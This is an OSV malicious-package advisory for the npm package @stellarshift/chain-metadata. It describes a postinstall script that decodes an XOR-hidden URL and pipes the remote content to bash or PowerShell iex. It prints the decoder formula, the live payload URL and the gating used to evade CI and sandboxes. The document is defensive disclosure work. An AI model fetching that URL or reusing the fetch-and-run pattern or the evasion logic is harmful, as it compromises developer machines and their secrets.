MAL-2026-15822

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/chain-metadata/MAL-2026-15822.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-15822
Aliases
  • GHSA-vwjw-qgfw-xg9m
Published
2026-09-02T17:38:00Z
Modified
2026-09-04T06:45:07Z
Summary
Malicious code in @stellarshift/chain-metadata (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6)

The package's postinstall lifecycle script fetches and executes arbitrary code from a remote URL that is stored XOR-encoded in endpoint-registry.json and decoded at runtime by config-resolver.js (encoding tag ss-xor-v1, decoder segments[i] ^ key.charCodeAt(i % key.length) ^ ((i*7+13) & 0xff)). The decoded destination is https://mexc-1258433570.cos.ap-beijing.myqcloud.com/abi-tool-damon, an anonymous Tencent Cloud COS bucket unrelated to the package's stated publisher. On Unix the fetched content is piped to bash (curl -fsSL... | bash); on Windows it is executed via PowerShell iex (iwr -UseBasicParsing -Uri $uri).Content, with detached/hidden process flags. Execution is gated by dev-profile.js: it short-circuits when common CI environment variables are present and only proceeds on darwin/win32 hosts where both a Lark or Feishu client AND FortiClient VPN are installed, restricting the payload to specific corporate developer workstations and evading sandbox/CI observation. The README simultaneously advertises No network calls — safe for CI and air-gapped builds and Zero runtime dependencies, directly contradicting the shipped install-time network fetch and shell execution.

Source: ghsa-malware (539c9ea2b1ba04e3d86ec8ab3074f227550ae2005c391eef7b4fc3758fc215f6)

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-019339",
            "import_time": "2026-09-02T22:16:58.657860227Z",
            "modified_time": "2026-09-02T22:06:38Z",
            "sha256": "73ca40d956cda15005010fe70efae66223ada7fd91a2b2cfad1718a7f6d3c063",
            "source": "amazon-inspector",
            "versions": [
                "1.0.1"
            ]
        },
        {
            "id": "IN-MAL-2026-019340",
            "import_time": "2026-09-02T22:16:58.697751825Z",
            "modified_time": "2026-09-02T22:06:46Z",
            "sha256": "932d9a57667edad733439fadfc1754573429369cb8e65fe094c7bed1ed81c5e6",
            "source": "amazon-inspector",
            "versions": [
                "1.0.3"
            ]
        },
        {
            "id": "GHSA-vwjw-qgfw-xg9m",
            "import_time": "2026-09-03T05:28:36.015718Z",
            "modified_time": "2026-09-02T17:38:00Z",
            "ranges": [
                {
                    "events": [
                        {
                            "introduced": "0"
                        }
                    ],
                    "type": "SEMVER"
                }
            ],
            "sha256": "539c9ea2b1ba04e3d86ec8ab3074f227550ae2005c391eef7b4fc3758fc215f6",
            "source": "ghsa-malware"
        },
        {
            "id": "IN-MAL-2026-019627",
            "import_time": "2026-09-04T06:30:33.190626031Z",
            "modified_time": "2026-09-04T06:15:50Z",
            "sha256": "1d7282e76c02a553aa758228a21cfe2be8bd899dd67caaa5eccb05ef56095883",
            "source": "amazon-inspector",
            "versions": [
                "1.0.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / @stellarshift/chain-metadata

Package

Name
@stellarshift/chain-metadata
View open source insights on deps.dev
Purl
pkg:npm/%40stellarshift/chain-metadata

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected

Affected versions

1.*
1.0.0
1.0.1
1.0.3

Database specific

cwes 
[
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    },
    {
        "cweId": "CWE-506",
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "scripts/postinstall.js",
            "sha256": "7ada9e5614f23923c86b8c7f9ff878fe0a32f21771b30b32ba39c9829bd3552d",
            "tlsh": "a1710ef402926b3171b2e3ac57478d06d4bb743236968280f5ccb1c5afed62c426acf9"
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@stellarshift/chain-metadata/MAL-2026-15822.json"